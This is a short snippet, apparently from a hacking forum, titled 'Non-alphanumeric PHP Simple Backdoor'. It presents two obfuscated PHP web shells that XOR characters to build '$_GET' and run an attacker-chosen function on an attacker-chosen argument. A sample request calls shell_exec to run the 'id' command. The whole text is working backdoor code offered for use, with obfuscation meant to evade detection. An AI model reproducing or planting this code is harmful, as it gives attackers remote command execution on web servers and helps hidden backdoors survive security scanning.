Non-alphanumeric PHP Simple Backdoor

Code:

<?
$_="{"; #XOR char
$_=($_^"<").($_^">").($_^"/"); #XOR = GET
?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

Code:

<?
$_="{"; #XOR char
$__=($_^"+").($_^")").($_^">"); #XOR = PRE
$_=($_^"<").($_^">").($_^"/"); #XOR = GET
?>
<?="<".$__.">".${'_'.$_}["_"](${'_'.$_}["__"]);?>

blabla.php?_=shell_exec&__=id